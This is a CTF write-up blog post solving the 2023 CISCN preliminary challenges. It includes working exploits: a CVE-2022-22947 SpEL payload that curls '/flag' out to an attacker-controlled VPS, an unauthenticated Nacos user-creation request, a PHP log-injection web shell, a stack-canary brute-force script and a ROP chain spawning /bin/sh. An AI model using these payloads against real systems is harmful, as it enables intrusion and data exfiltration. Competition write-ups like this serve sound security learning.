2023CISCN初赛

已于 2023-06-04 09:12:24 修改
阅读量967 收藏 4
点赞数 1
文章标签： 网络安全
于 2023-06-04 09:08:57 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_54448259/article/details/131028788
版权

两天时间题量还挺大的，简单记录

文章目录

misc

签到卡

就是做了个pythonshell的接口，直接打印即可

pyshell

起初想的jail逃逸，但逃不了一点，测试发现限制了输入长度，使用_拼接进行打印

image-20230528163448551

国粹

a.png为横坐标，k.png为纵坐标，题目.png为对应图片的位置信息

import matplotlib.pyplot as plt
# 坐标数据
x = [1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4,
4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6,
6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 8,
8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 10, 10, 12, 12, 12, 12, 13, 13, 13, 13, 13, 13,
13, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15,
15, 15, 16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18,
18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20,
22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 23, 23, 23, 23, 23, 23, 23, 23, 23,
23, 23, 23, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 25, 25, 25, 25, 25, 25, 25,
25, 25, 25, 25, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 27, 27, 27, 27, 27, 27, 27,
27, 27, 27, 27, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, 29, 29, 29, 29,
29, 31, 31, 31, 31, 31, 31, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32,
32, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 34, 34, 34, 34, 34, 34, 34, 34, 34,
35, 35, 35, 35, 35, 35, 35, 35, 35, 35, 35, 36, 36, 36, 36, 36, 36, 36, 37, 37, 37,
37, 37, 37, 37, 37, 37, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38,
38, 38, 39, 39, 39]
y = [4, 5, 10, 30, 3, 4, 5, 6, 10, 29, 30, 3, 4, 10, 16, 17, 22, 23, 24, 25,
29, 30, 2, 3, 4, 5, 10, 15, 16, 18, 21, 22, 24, 25, 29, 30, 3, 4, 10, 15, 17, 18,
19, 21, 22, 25, 28, 29, 3, 4, 10, 15, 16, 18, 19, 21, 22, 25, 29, 3, 4, 10, 11, 12,
13, 15, 18, 19, 22, 23, 24, 25, 29, 30, 3, 4, 11, 12, 15, 16, 17, 18, 19, 20, 25,
29, 30, 21, 22, 24, 25, 30, 31, 23, 24, 22, 23, 24, 25, 2, 3, 4, 5, 9, 10, 11, 12,
16, 17, 18, 19, 24, 25, 2, 5, 6, 9, 12, 19, 23, 24, 5, 9, 12, 18, 19, 22, 23, 4, 5,
9, 12, 17, 18, 23, 24, 3, 4, 9, 12, 16, 17, 24, 25, 3, 9, 12, 16, 25, 3, 4, 5, 6, 9,
10, 11, 12, 16, 17, 18, 19, 21, 22, 23, 24, 25, 10, 11, 3, 4, 5, 6, 10, 11, 12, 17,
18, 19, 24, 25, 3, 6, 7, 9, 10, 16, 17, 19, 20, 22, 23, 24, 25, 3, 6, 7, 9, 10, 16,
19, 20, 24, 25, 3, 6, 7, 10, 11, 12, 16, 19, 20, 24, 25, 3, 6, 7, 12, 13, 16, 19,
20, 24, 25, 3, 6, 7, 9, 12, 13, 16, 19, 20, 24, 25, 3, 4, 6, 9, 10, 11, 12, 16, 17,
19, 20, 24, 25, 4, 5, 17, 18, 19, 10, 11, 12, 13, 25, 31, 4, 5, 6, 10, 11, 12, 13,
17, 18, 19, 23, 24, 25, 26, 32, 3, 4, 6, 7, 12, 16, 17, 23, 24, 26, 32, 6, 7, 11,
16, 17, 23, 24, 26, 32, 6, 11, 12, 17, 18, 19, 23, 24, 25, 26, 33, 5, 12, 13, 19,
20, 26, 32, 4, 5, 13, 16, 19, 20, 25, 26, 32, 4, 5, 6, 7, 9, 10, 11, 12, 13, 16, 17,
18, 19, 24, 25, 31, 32, 23, 24, 31]
# 绘制散点图
plt.scatter(x, y)
# 添加标签和标题
plt.xlabel('a')
plt.ylabel('k')
plt.title('cnmd')
# 显示图形
plt.show()

被加密的生产流量

追tcp流，解箭头所指的base32

image-20230528163612915

网络安全人才实战能力评价

送分，做问卷即可

web

unzip

网上有相关文章，照着基本可以打通

参考：https://blog.csdn.net/justruofeng/article/details/122108924

image-20230528163837045

先传feng1再传feng2，即可getshell在根目录下读取flag

dumpit

通过将错误输出到log/11.php中，正好将<?=phpinfo()?>进行解析得到flag

?db=ctf&table_2_dump=\%3C\?\=phpinfo\(\)?\%3E%202%3E%20log/11.php

image-20230528164132946

后访问即可

/log/11.php

image-20230528164151491

BackendService

CVE-2022-22947，只不过改了些配置

先添加用户

166c3999576d290dbfb754757cd70c5

POST /nacos/v1/auth/users HTTP/1.1
Host: 39.107.137.13:30869
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

username=demo&password=demo

根据源码的配置文件进行gateway的配置

spring:
  cloud:
    nacos:
      discovery:
        server-addr: 127.0.0.1:8888
      config:
        name: backcfg
        file-extension: json
        group: DEFAULT_GROUP
        server-addr: 127.0.0.1:8888

07592cbe739d6948d913ef95c4e1a14

配置文件内容

{
    "spring": {
        "cloud": {
            "gateway": {
                "routes": [
                    {
                        "id": "exam",
                        "order": 0,
                        "uri": "lb://backendservice",
                        "predicates": [
                            "Path=/echo/**"
                        ],
                        "filters": [
                            {
                                "name": "AddResponseHeader",
                                "args": {
                                    "name": "result",
                                    "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'curl','xxx.xxx.xxx.xxx:9999','-F','echo=@/flag'}).getInputStream())).replaceAll('\\n','').replaceAll('\\r','')}"
                                }
                            }
                        ]
                    }
                ]
            }
        }
    }
}

发布，然后访问/echo/123

在vps上收到flag

09a17d1430b6e112de228e4efc2ce59

reverse

babyRE

xml文件是一个snap可视化编程的配置文件

https://snap.berkeley.edu/snap/snap.html

导入xml文件后，可以看到以下信息

e573e50da1401fd4cb7aa55b1c45630

他的判断逻辑就是通过将输入的字符串按顺序前后两位进行异或后，放进test列表，然后和secret列表进行比对，如果正确，他就会输出well done

所以这里只要对secret的列表进行反向异或就行

这里在1插进值指的是在顺序1上插入，而不是使用0作为列表的开头

然后写脚本进行反向异或

<?php
$secret=[102,10,13,6,28,74,3,1,3,7,85,0,4,75,20,92,92,8,28,25,81,83,7,28,76,88,9,0,29,73,0,86,4,87,87,82,84,85,4,85,87,30];
$list=[];
//print_r(count($secret));
for($i=0;$i<=42;$i++){
    $secret[$i]=$secret[$i]^$secret[$i-1];
//    print_r($list);
    print_r($secret);

}
//var_dump($list);
//print_r($list);
for($i=0;$i<count($secret);$i++){
    if($secret[$i]>32) {
        echo chr($secret[$i]);
    }
}

得到flag

bbd42ff38c8ed1165f3792f1d9485a4

pwn

funcanary

# coding=utf-8
from pwn import *
context.log_level='debug'
context(os='linux',arch='amd64',terminal=['alacritty','-e','sh','-c'])

io=remote('',)

elf=ELF('./funcanary')

s=lambda x:io.send(x)
sa=lambda x,y:io.sendafter(x,y)
sl=lambda x:io.sendline(x)
sla=lambda x,y:io.sendlineafter(x,y)
r=lambda x:io.recv(x)
ru=lambda x:io.recvuntil(x)
debug=lambda x:gdb.attach(io,gdbscript=x)

canary=b'\0'

ru('welcome')
for j in range(7):
    for i in range(0x100):
        s(b'a'*0x68+canary+chr(i))

        recv=ru('welcome')
        if b'fun' in recv:
            canary+=chr(i)
            break

for i in range(0x10):
    s(b'a'*0x68+canary+p64(0xdeadbeef)+b'\x28'+chr(i*0x10+2))
    recv=ru('welcome')
    if b'flag{' in recv:
        break

io.interactive()

烧烤摊儿

# coding=utf-8
from pwn import *
context.log_level='debug'
context(os='linux',arch='amd64',terminal=['alacritty','-e','sh','-c'])

io=remote('39.105.26.155',40225)

elf=ELF('./shaokao')

libc_file=''

s=lambda x:io.send(x)
sa=lambda x,y:io.sendafter(x,y)
sl=lambda x:io.sendline(x)
sla=lambda x,y:io.sendlineafter(x,y)
r=lambda x:io.recv(x)
ru=lambda x:io.recvuntil(x)
debug=lambda x:gdb.attach(io,gdbscript=x)

choose=lambda x:sla('> ',str(x))

def pijiu(ty,size):
    choose(1)
    sla('3. 勇闯天涯',str(ty))
    sla('来几瓶？',str(size))

def kaochuan(ty,size):
    choose(2)
    sla('3. 鸡肉串',str(ty))
    sla('来几串？',str(size))

def yue():
    choose(3)

def vip():
    choose(4)

def gaime(name):
    choose(5)
    sla('烧烤摊儿已归你所有，请赐名：',name)

from struct import pack

p = b''

p += pack(b'<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack(b'<Q', 0x00000000004e60e0) # @ .data
p += pack(b'<Q', 0x0000000000458827) # pop rax ; ret
p += b'/bin//sh'
p += pack(b'<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack(b'<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack(b'<Q', 0x00000000004e60e8) # @ .data + 8
p += pack(b'<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack(b'<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack(b'<Q', 0x000000000040264f) # pop rdi ; ret
p += pack(b'<Q', 0x00000000004e60e0) # @ .data
p += pack(b'<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack(b'<Q', 0x00000000004e60e8) # @ .data + 8
p += pack(b'<Q', 0x00000000004a404b) # pop rdx ; pop rbx ; ret
p += pack(b'<Q', 0x00000000004e60e8) # @ .data + 8
p += pack(b'<Q', 0x4141414141414141) # padding
p += pack(b'<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack(b'<Q', 0x0000000000402404) # syscall

pijiu(1,-200000)
vip()
payload=b'a'*0x20+p64(0xdeadbeef)+p
gaime(payload)

io.interactive()

crypto

基于国密SM2算法的密文分发

照着文档复现就完事了

image-20230528164557810

可信度量

非预期了，直接读

find / –type f |xargs grep -ra "flag{" grep

image-20230528164659924

Sign_in_passwd

就是换表base64，很明显可以看出表是套了一层url编码，解完码直接嗦

image-20230528164832571

d3f4u1t
关注
  • 1
    点赞
  • 踩
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
2023全国大学生信息安全竞赛(ciscn)初赛题解
返璞归真的博客
05-28 1万+
2023全国大学生信息安全竞赛(ciscn)部分题解
[CISCN 2023 初赛]go_session 解题思路&过程
iamblackcat's blog
07-23 1052
[CISCN 2023 初赛]go_session 解题思路&过程
2023华中赛区ciscn部分wp
qq_42557115的博客
06-29 2359
今年ciscn华中的CTF还行，基本上都肝出来了，拿了个前十，但是awd拿了个倒一....综合一下拿了个第三，可恶，错失国防科技大学参观机会（）把CTF的wp写一下，供大家参考。赛题不分上下午场了。
CISCN2023 初赛部分复现
最新发布
Pisces50002的博客
06-10 996
不知道怎么看出来的，这里使用了DWARF Expression将代码隐藏在栈展开过程中，在异常处理中恢复隐藏代码。然后有两种分析方法，一种就是根据DWARF的语法手撕字节码，另一种就是借助rust编写的解释器（来自。输入错误的flag就会返回相同的内容，然后卡在一个循环里等待输入，再次输错就退出了。可以直接看见伪代码方程，可以z3爆，或者跟上面一样算，脚本都差不多。不知道是不是我的问题，这个爆破非常慢（比hook慢多了），不太推荐。参考的这一篇wp的方法，hook脚本很复杂，我也不太懂。
ciscn的简介
weixin_33840661的博客
03-31 1263
www.ciscn.cn 全国大学生信息安全竞赛官网教育部按照《教育部关于进一步加强信息安全学科、专业建设和人才培养工作的意见》（教高〔2005〕7号）的要求及《教育部关于成立2006-2010年教育部高等学校有关科类教学指导委员会的通知》（教高函〔2005〕25号）的有关工作安排，为加强教育部对高等学校信息安全人才培养工作的宏观指导与管理，充分发挥专家学者对信息安全...
[CISCN 2023 初赛]Sign_in_passwd 被加密的生产流量 题目复现
2201_75327657的博客
06-14 695
且观察第二行的密钥发现带有百分号%大胆推测可能是url编码后的密钥。且有等号大概就是base32加密只需要去在线解码一下答案就出来了。已知是流量分析题先把题目拉入wireshark中。base64多了小写字母，0，1，8，9以及+/通过做题经验与交流猜测大概第一行是加密后的代码。首先根据经验看看是否flag存在于TCP流中。1.下载压缩包后用文本的形式打开他给的文件。此时又去复习了下base64和32的区别。那我们可以去试一试先还原密钥。只需要再进行一下base64。打开后发现确实有东西。
CSP-j2023初赛
04-25
CSP-j2023初赛
2023初赛模拟 J 组（带答案）.pdf
03-30
2023初赛模拟 J 组（带答案）.pdf
SCP 2023 第一轮（初赛 S 组）模拟
08-15
SCP 2023 第一轮（初赛 S 组）模拟考试主要针对CCF CSP非专业级别的软件能力认证，这是由中国计算机学会（CCF）组织的一项能力认证考试，旨在评估参与者的算法和编程技能。考试分为CSP-J（入门组）和CSP-S（提高组）...
NOIP CSP-J CSP-S 初赛 第1轮 学习资料集2023
08-10
这些竞赛通常包括初赛、复赛等多个阶段，考察参赛者的编程能力、算法理解以及问题解决技巧。 本资料集主要针对NOIP CSP-J和CSP-S初赛的第一轮学习，提供了丰富的在线课程和讲解资源，适合参赛者进行系统性的学习和...
2023-2023年初赛-Scratch(小学低年级组-卷1).pdf
03-07
2023-全国青少年信息素养大赛必做卷，模拟题
全国大学生信息安全竞赛(CISCN)-reverse-复现（部分）
ookami6497的博客
06-06 1006
CISCN
[2024CISCN]国赛初赛WEB题目复现_2024国赛初赛unzip题目复现
m0_74918915的博客
04-12 1622
其中返回机器的硬件地址（MAC地址），而返回特定于平台的唯一ID。4.: 将所有上述信息串联并进行哈希，得到一个SHA1哈希值。这里，函数将公开信息和私有信息合并为一个序列，然后这个序列中的每一项都被加入到哈希中。添加了一个额外的“salt”值，以确保最终的哈希值是独特的。5.将哈希值转换为16进制的字符串形式，并从中取出前20个字符。然后，它前面添加了"__wzd"前缀来生成最终的。再通过查找关键字，找到set_cookie方法。
ciscn 2018 部分writeup
StriveBen的博客
05-07 3916
ciscn 2018 部分writeup flag in your hand 这是一道js解密的题目： 发现checkToken函数数里返回的s===”FAKE-TOKEN”,使用这个字符串却得到wrong，而且ic后面被更改了: 跟踪bm函数: 这里charCodeAt() 方法可返回指定位置的字符的 Unicode 编码; 在ck函数里，ic的值又被更改了，所以要想...
2023Ciscn解题思路
qq_74388419的博客
05-30 298
去公众号找提示给了print(open(‘etc/passwd’).read())那么尝试print(open(‘/flag’).read())得到flag。
2022 CISCN全国初赛-wp
qq_45603443的博客
05-30 1798
2022 CISCN全国初赛-wpWebEzpoponline_crtMiscez_usbCrypto签到基于挑战码的双向认证基于挑战码的双向认证2基于挑战码的双向认证3Pwnpwn1重点来了 Web Ezpop <?php namespace think{ abstract class Model{ private $lazySave = false; private $data = []; private $exists = false; protected $table; private $wi
BUUCTF刷题（前12道）
像初雪一样自由洒落
04-04 1031
哈哈哈，我又来刷题了，看了下BUUCTF上面的pwn题还真多。。。 test_your_nc ida查看，发现直接执行system，所以，直接交互就可以 //写下简单的脚本 from pwn import * p = remote('node3.buuoj.cn',28213) p.interactive() ...
[CISCN2024 华北赛区 Day1 Web5]CyberPunk(1)，2024年最新被腾讯辞退的高级网络安全工程师现在怎么了
2401_84185224的博客
04-10 374
在结束之际，我想重申的是，学习并非如攀登险峻高峰，而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后，持之以恒的学习变得愈发不易，如同在茫茫大海中独自划舟，稍有松懈便可能被巨浪吞噬。然而，对于我们程序员而言，学习是生存之本，是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习，我们便如同逆水行舟，不进则退，终将被时代的洪流所淘汰。因此，不断汲取新知识，不仅是对自己的提升，更是对自己的一份珍贵投资。让我们不断磨砺自己，与时代共同进步，书写属于我们的辉煌篇章。需要完整版PDF学习资源私我。
第十六届全国大学生信息安全竞赛创新实践能力赛（CISCN）
Welcome To Myon'Blog !
05-27 1841
第十六届全国大学生信息安全竞赛创新实践能力赛（CISCN） Misc 1、被加密的生产流量 Crypto 2、Sign_in_passwd Web 3、unzip 4、dumpit Re 5、babyRE Pwn 6、funcanary
[ciscn 2019 初赛]love math
03-16
这道题目需要我们求出一个数列中所有数的最大公约数。我们可以使用欧几里得算法来求解。具体来说，我们可以用辗转相除的方法，不断将两个数中较大的数除以较小的数，直到两个数相等为止，此时的数即为它们的最大公...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值